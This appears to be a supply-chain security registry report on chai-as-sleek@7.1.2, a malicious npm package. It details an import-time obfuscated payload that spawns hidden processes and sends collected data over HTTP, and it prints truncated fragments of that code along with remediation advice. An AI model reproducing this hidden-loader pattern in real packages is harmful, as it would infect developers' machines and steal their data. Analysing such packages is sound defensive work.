registry / Malware / chai-as-sleek

chai-as-sleek

This document describes the management of vulnerabilities for the project and all modules within the organization.

This report shows the evidence for chai-as-sleek@7.1.2, the only known version.

This package appears in our research on the fake chai plugin campaign, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 2mo ago · by lpm-firewall-ai

The import-time payload combines deliberate obfuscation, host access, concealed process creation, and network transmission. Its behavior is incompatible with the advertised package surface.

Static reason

High-risk behavior combination matched malicious policy.

Trigger

Any application import or require of the package entrypoint.

Impact

It can run concealed commands and send runtime-collected data to an attacker-controlled endpoint.

Mechanism

Import-time obfuscated process execution and computed HTTP transmission.

Attack narrative

A consumer imports the package entrypoint, which immediately requires lib/config.js. That single-line, heavily obfuscated payload initializes OS, filesystem, command-execution, HTTP, and cryptography capabilities. It issues a computed HTTP request carrying data and headers and contains a detached hidden child-process launch. This behavior is unrelated to the package's middleware export and conceals both command and network targets.

AI rationale

The import-time payload combines deliberate obfuscation, host access, concealed process creation, and network transmission. Its behavior is incompatible with the advertised package surface.

Evidence

index.jslib/config.js

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

Importing the advertised entrypoint immediately loads a concealed 4 MB payload.
The payload is deliberately obfuscated and imports OS, filesystem, and child-process capabilities.
The payload loads HTTP and cryptography libraries, then makes an HTTP request with data and headers.
The payload can launch a detached, hidden child process.

Evidence against

package.json contains no install lifecycle hook.
No plaintext network host is recoverable from the inspected source; request targets are computed at runtime.

Behavioral surface

Source

ChildProcessEnvironmentVars

Supply chain

HighEntropyStringsMinifiedUrlStrings

ManifestNo manifest risk signals triggered.

scanned 15 file(s), 307 KB of source, external domains: github.com

Oversized source lightweight scan

lib/config.js3.88 MB file, sampled 256 KB

Source & flagged code

6 flagged

index.jsView file

3const path = require('path'); L4: const { spawn } = require('child_process'); L5: const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

3const path = require('path'); const { spawn } = require('child_process'); const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants'); const config = require('./lib/config');

High

Ai Review Evidence

Importing the advertised entrypoint immediately loads a concealed 4 MB payload.

index.jsView on unpkg · L3

lib/config.jsView file

1function mc(F,S,Y,E,i){const F9={F:0x1f1};return T(Y-F9.F,E);}function mk(F,S,Y,E,i){const FM={F:0x3dc};return T(i- -FM.F,F);}function ma(F,S,Y,E,i){const Fu={F:0x109};return j(i-F...

Critical

Download Execute

Source downloads or fetches remote code and executes it.

lib/config.jsView on unpkg · L1

1Trigger-reachable chain: manifest.main -> index.js -> lib/config.js L1: function mc(F,S,Y,E,i){const F9={F:0x1f1};return T(Y-F9.F,E);}function mk(F,S,Y,E,i){const FM={F:0x3dc};return T(i- -FM.F,F);}function ma(F,S,Y,E,i){const Fu={F:0x109};return j(i-F...

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

lib/config.jsView on unpkg · L1

•stage = ast_semantic_analysis; reason = ast_path_work_budget_exceeded; limitedFiles = 1

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

lib/config.jsView on unpkg

1const a=await axios[dp(NO.eM,NO.eu,NO.em,NO.ey,NO.ed)](i,v,{'\x68\x65\x61\x64\x65\x72\x73':{'\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65':E[dz(-NO.ej,-NO.eT,NO.eF,-NO.eS,-NO.eY)],'\x76\x61\x6c\x69\x64\x61\x74\x69\x6f\x6e':o},'\x74\x69\x6d\x65\x6f\x75\x74':0x2710})

High

Ai Review Evidence

The payload loads HTTP and cryptography libraries, then makes an HTTP request with data and headers.

lib/config.jsView on unpkg · L1

Source & flagged code

6 flagged · loading source

index.jsView file

3const path = require('path'); L4: const { spawn } = require('child_process'); L5: const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants');

High

Child Process

Package source references child process execution.

index.jsView on unpkg · L3

3const path = require('path'); const { spawn } = require('child_process'); const { DEFAULT_LEVELS, SORTING_ORDER } = require('./lib/constants'); const config = require('./lib/config');

High

Ai Review Evidence

Importing the advertised entrypoint immediately loads a concealed 4 MB payload.

index.jsView on unpkg · L3

lib/config.jsView file

1function mc(F,S,Y,E,i){const F9={F:0x1f1};return T(Y-F9.F,E);}function mk(F,S,Y,E,i){const FM={F:0x3dc};return T(i- -FM.F,F);}function ma(F,S,Y,E,i){const Fu={F:0x109};return j(i-F...

Critical

Download Execute

Source downloads or fetches remote code and executes it.

lib/config.jsView on unpkg · L1

Findings

2 Critical4 High2 Medium3 Low

CriticalDownload Executelib/config.js

CriticalTrigger Reachable Dangerous Capabilitylib/config.js

HighChild Processindex.js

HighSemantic Analysis Limitedlib/config.js

HighAi Review Evidenceindex.js

HighAi Review Evidencelib/config.js

MediumEnvironment Vars

MediumStructural Risk Force Deep Review

LowScripts Present

LowHigh Entropy Strings

LowUrl Strings

Affected versions and remediation

This report applies to chai-as-sleek@7.1.2.

The versions list below shows the verdict for each recorded version.

Avoid installing chai-as-sleek@7.1.2. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-09-09 07:00:09.790Z (UTC).

Source advisory published: 2026-09-09 06:49:23.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

1 known version

7.1.2latestshownMaliciousMalwareBlockPublishedSep 7, 2026, 7:46 PM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

Other malware packages

Behavioral surface

Source & flagged code

Related packages

Other malware packages